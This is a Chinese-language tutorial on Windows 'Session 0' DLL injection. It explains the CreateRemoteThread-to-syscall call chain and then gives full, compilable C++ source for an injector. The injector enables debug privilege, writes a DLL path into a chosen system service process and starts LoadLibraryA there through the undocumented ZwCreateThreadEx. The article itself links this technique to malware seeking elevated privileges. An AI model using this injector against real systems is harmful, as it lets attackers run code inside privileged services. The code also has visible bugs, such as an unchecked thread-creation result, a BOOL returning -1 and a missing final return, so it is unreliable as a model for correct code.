远程线程注入之突破Session0隔离会话

前言

当我们使用远程线程注入将dll注入至系统服务进程中往往会失败，这是因为大多数系统服务都是在Session0中运行的

"Session 0"是Windows操作系统中的一个特殊的会话，专门用于运行系统服务和其他在用户登录之前就需要运行的程序。从Windows Vista和Windows Server 2008开始，为了提高安全性，Windows将用户和系统服务分隔在不同的会话中。具体来说，所有的服务和系统任务都在Session 0中运行，而所有用户交互任务都在其他会话中运行

"Session 0注入"一般指的是把一个程序（通常是一个恶意程序）注入到Session 0的过程。因为Session 0有许多特权，所以如果恶意程序能够成功注入到Session 0，就可以获得比正常用户更高的权限，从而进行更多的恶意操作

然而，由于Windows Vista和后续版本的Windows的安全性提高，使得Session 0注入变得更加困难。尤其是，Session 0是隔离的，不能直接与用户的图形会话进行交互

远程线程注入函数调用流程

1.CreateRemoteThreadStub

CreateRemoteThreadStub是在kernel32.dll中，用于对CreateRemoteThread函数的封装，对CreateRemoteThread的参数进行处理，由原来的7个参数扩展到8个参数，并对dwCreationFlags参数进行安全处理

2.CreateRemoteThread

CreateRemoteThread函数位于KernelBase.dll中，最终调用了NtCreateThreadEx函数

3.NtCreateThread

NtCreateThread是内核级别的函数，它是属于NTDLL库中的一部分。NTDLL库中的函数主要是由操作系统的内核（即内核模式）使用的，而用户模式的程序一般不直接调用这些函数

mov eax, 0C7h：将值0c7h移动至eax寄存器，表示执行编号为0c7h的系统调用

syscall：这是执行系统调用的指令。系统调用编号和参数应在此之前已被设置好（在这种情况下，通过将 0xC7 和 rcx 的内容移动到 eax 和 r10）

这段代码表示执行编号为 0xC7 的系统调用，如果 ds:7FFE0308h 的最低位被设置，那么在系统调用前会先跳转到另一段代码（位于 loc_1800A0525，使用int 2Eh中断进入内核）。如果该位未被设置，那么直接执行系统调用

总结

以下是CreateRemoteThread函数的调用流程图

应用程序调用 CreateRemoteThread，这是一个由 kernel32.dll 提供的 Win32 API，用于在另一个进程的地址空间中创建新线程。
CreateRemoteThread 内部调用 CreateRemoteThreadEx，这是一个由 KernelBase.dll 提供的更底层的 API，提供了更多的选项，比如可以指定安全描述符，可以控制新线程是否立即开始运行等
CreateRemoteThreadEx 内部调用 NtCreateThreadEx，这是由 ntdll.dll 提供的 Native API，也是用户空间可以直接调用的最底层的 API。
NtCreateThreadEx 函数设置好系统调用的参数后，执行 syscall 指令，切换到内核模式。
在内核模式下，根据 syscall 提供的系统调用编号，在 SSDT 表中查找对应的内核函数。
执行 SSDT 表中找到的函数，完成线程的创建。

普通线程和远程线程的区别

可以看到普通线程函数CreateThread也调用了CreateRemoteThread函数，只不过其线程句柄参数的值为-1，而远程线程的句柄参数为一个具体的值

代码实现思路

1.`ZwCreateThread`函数的声明及定义

当我们使用DLL注入系统服务的进程时会失败，失败的原因在于，当CreateRemoteThread函数尝试在Session 0隔离的系统服务进程中注入DLL时，它通过调用ZwCreateThread函数创建远程线程，其中第七个参数CreateThreadFlags被设置为1。这意味着创建的线程在完成后将被挂起，无法被恢复，因此导致注入失败。为了成功注入，需通过调用ZwCreateThreadEx函数将此参数修改为0。

以下是对ZwCreateThreadEx函数的描述：

NTSTATUS ZwCreateThreadEx(
    OUT PHANDLE ThreadHandle,  //输出参数，新创建的线程的句柄。
    IN ACCESS_MASK DesiredAccess,  //所需的访问权限标志，例如PROCESS_ALL_ACCESS代表全部权限
    IN PVOID ObjectAttributes,  //对象的属性，通常为NULL。
    IN HANDLE ProcessHandle,  //所创建线程将要在其内运行的进程的句柄
    IN PTHREAD_START_ROUTINE StartRoutine,  //新线程的开始地址
    IN PVOID Argument,  //要传递给新线程的参数
    IN ULONG CreateFlags,  //要传递给新线程的参数
    
    //ZeroBits, StackSize, MaximumStackSize: 这些参数一般设置为0，表示使用默认的堆栈大小
    IN ULONG_PTR ZeroBits,  
    IN SIZE_T StackSize,
    IN SIZE_T MaximumStackSize,
    
    IN PPS_ATTRIBUTE_LIST AttributeList  //用于传递更高级的线程属性，通常设置为NULL
);

由于ZwCreateThread函数未在官方文档中说明，所以我们需对ZwCreateThread函数进行声明：

#ifdef _WIN64
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

然后通过GetProcAddress函数来获取这个函数

HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
	Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		printf("GetProcAddress error\n");
		return -1;
	}

2.提升进程权限

如果要将dll注入至系统服务进程，还需提升当前进程的权限，以下是提权函数的代码：

// 提权函数，启用调试特权
BOOL EnableDebugPrivilege()
{
	HANDLE hToken; // 用于保存进程访问令牌的句柄
	BOOL fOk = FALSE; // 用于保存函数是否执行成功的状态

	// 获取当前进程的访问令牌
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp; // 用于保存特权信息的结构体
		tp.PrivilegeCount = 1; // 设置特权数量为1

		// 获取“Debug Programs”特权的本地唯一标识符（LUID）
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 设置特权的属性为启用

		// 调整访问令牌，启用“Debug Programs”特权
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

		fOk = (GetLastError() == ERROR_SUCCESS); // 检查是否成功启用特权
		CloseHandle(hToken); // 关闭访问令牌的句柄
	}
	return fOk; // 返回函数是否执行成功的状态
}

3.Session0注入函数

此函数的主要作用是在Session0中注入指定的DLL。其步骤包括提权、打开目标进程、在目标进程中分配内存并写入DLL路径、获取LoadLibraryA函数地址、获取ZwCreateThreadEx函数地址、在目标进程中创建线程运行LoadLibraryA函数，最后释放资源

BOOL Session0Inject(DWORD pid, char* dllPath)
{	
	EnableDebugPrivilege();  //提权
	DWORD DllNameLength = strlen(dllPath);  //获取dll路径名的长度

	// 检查文件是否存在  注意:<filesystem>库需使用支持C++17或更高版本的编译器
	if (!std::filesystem::exists(dllPath)) {
		printf("指定的DLL文件不存在\n");
		return -1;
	}

	//1 获取目的进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == NULL)
	{
		printf("打开进程失败: %d\n", GetLastError());
		return -1;
	}

	//2 为目的进程分配内存,用于存放Loadlibrary传入的参数,即dll的路径
	VOID* paraAddr = VirtualAllocEx(hProcess, NULL, DllNameLength + 1, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == paraAddr)
	{
		printf("内存分配失败\n");
		return -1;
	}

	//3 将DLL的路径写到目标进程的内存
	if (!WriteProcessMemory(hProcess, paraAddr, dllPath, DllNameLength + 1, NULL))
	{
		printf("写入内存失败！\n");
		return false;
	}

	//4 获取loadlibrary函数的地址
	HMODULE LibHandle = GetModuleHandle("kernel32.dll");
	FARPROC ProcAdd = GetProcAddress(LibHandle, "LoadLibraryA");
	if (!ProcAdd)
	{
		printf("获取LoadLibraryA失败!\n");
		return false;
	}

	//5 通过调用GetProcAddress函数来获取ZwCreateThreadEx函数的地址
	HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
	DWORD dwStatus;
	HANDLE hRemoteThread; 
	Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		printf("GetProcAddress error\n");
		return -1;
	}

	//6 使用获取到的ZwCreateThreadEx函数在目标进程中创建线程，运行LoadLibraryA函数，参数为DLL路径
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
		(LPTHREAD_START_ROUTINE)ProcAdd, paraAddr, 0, 0, 0, 0, NULL);
	if (NULL == ZwCreateThreadEx)
	{
		printf("ZwCreateThreadEx error\n");
		return -1;
	}

	//释放dll
	FreeLibrary(hNtdllDll);

	//释放句柄
	CloseHandle(hRemoteThread);
	CloseHandle(hProcess);
}

完整代码

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <string>
#include <filesystem>

#ifdef _WIN64
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

//获取进程ID的函数
DWORD GetProcessIdByName(const std::wstring& name) {
	DWORD pid = 0;
	HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (snap != INVALID_HANDLE_VALUE) {
		PROCESSENTRY32W entry = { sizeof(entry) };
		if (Process32FirstW(snap, &entry)) {
			do {
				if (std::wstring(entry.szExeFile) == name) {
					pid = entry.th32ProcessID;
					break;
				}
			} while (Process32NextW(snap, &entry));
		}
		CloseHandle(snap);
	}
	return pid;
}


//提权函数，启用调试特权
//这个函数的主要作用是启用当前进程的“debug programs”特权，这个特权允许进程附加到其他进程并控制它们
BOOL EnableDebugPrivilege()
{	
	
	HANDLE hToken; // 用于保存进程访问令牌的句柄
	BOOL fOk = FALSE; // 用于保存函数是否执行成功的状态

	// 获取当前进程的访问令牌
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp; // 用于保存特权信息的结构体
		tp.PrivilegeCount = 1; // 设置特权数量为1

		// 获取“Debug Programs”特权的本地唯一标识符（LUID）
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 设置特权的属性为启用

		// 调整访问令牌，启用“Debug Programs”特权
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

		fOk = (GetLastError() == ERROR_SUCCESS); // 检查是否成功启用特权
		CloseHandle(hToken); // 关闭访问令牌的句柄
	}
	return fOk; // 返回函数是否执行成功的状态
}


BOOL Session0Inject(DWORD pid, char* dllPath)
{	
	EnableDebugPrivilege();  //提权
	DWORD DllNameLength = strlen(dllPath);  //获取dll路径名的长度

	// 检查文件是否存在  注意:<filesystem>库需使用支持C++17或更高版本的编译器
	if (!std::filesystem::exists(dllPath)) {
		printf("指定的DLL文件不存在\n");
		return -1;
	}

	//1 获取目的进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == NULL)
	{
		printf("打开进程失败: %d\n", GetLastError());
		return -1;
	}

	//2 为目的进程分配内存,用于存放Loadlibrary传入的参数,即dll的路径
	VOID* paraAddr = VirtualAllocEx(hProcess, NULL, DllNameLength + 1, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == paraAddr)
	{
		printf("内存分配失败\n");
		return -1;
	}

	//3 将DLL的路径写到目标进程的内存
	if (!WriteProcessMemory(hProcess, paraAddr, dllPath, DllNameLength + 1, NULL))
	{
		printf("写入内存失败！\n");
		return false;
	}

	//4 获取loadlibrary函数的地址
	HMODULE LibHandle = GetModuleHandle("kernel32.dll");
	FARPROC ProcAdd = GetProcAddress(LibHandle, "LoadLibraryA");
	if (!ProcAdd)
	{
		printf("获取LoadLibraryA失败!\n");
		return false;
	}

	//5 通过调用GetProcAddress函数来获取ZwCreateThreadEx函数的地址
	HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
	DWORD dwStatus;
	HANDLE hRemoteThread; 
	Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		printf("GetProcAddress error\n");
		return -1;
	}

	//6 使用获取到的ZwCreateThreadEx函数在目标进程中创建线程，运行LoadLibraryA函数，参数为DLL路径
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
		(LPTHREAD_START_ROUTINE)ProcAdd, paraAddr, 0, 0, 0, 0, NULL);
	if (NULL == ZwCreateThreadEx)
	{
		printf("ZwCreateThreadEx error\n");
		return -1;
	}

	//释放dll
	FreeLibrary(hNtdllDll);

	//释放句柄
	CloseHandle(hRemoteThread);
	CloseHandle(hProcess);
}


int main(int argc, char* argv[])
{
	if (argc == 3)
	{	
		//atoi函数可将字符串转化为整数
		BOOL bRet = Session0Inject((DWORD)atoi(argv[1]), argv[2]);
		
		if (-1 == bRet)
		{
			printf("Inject dll failed\n");
		}
		else
		{
			printf("Inject dll successfully\n");
		}
	}
	else
	{
		printf("你需输入两个参数,参数1为pid,参数2为dll的绝对路径\n");
		exit(1);
	}
}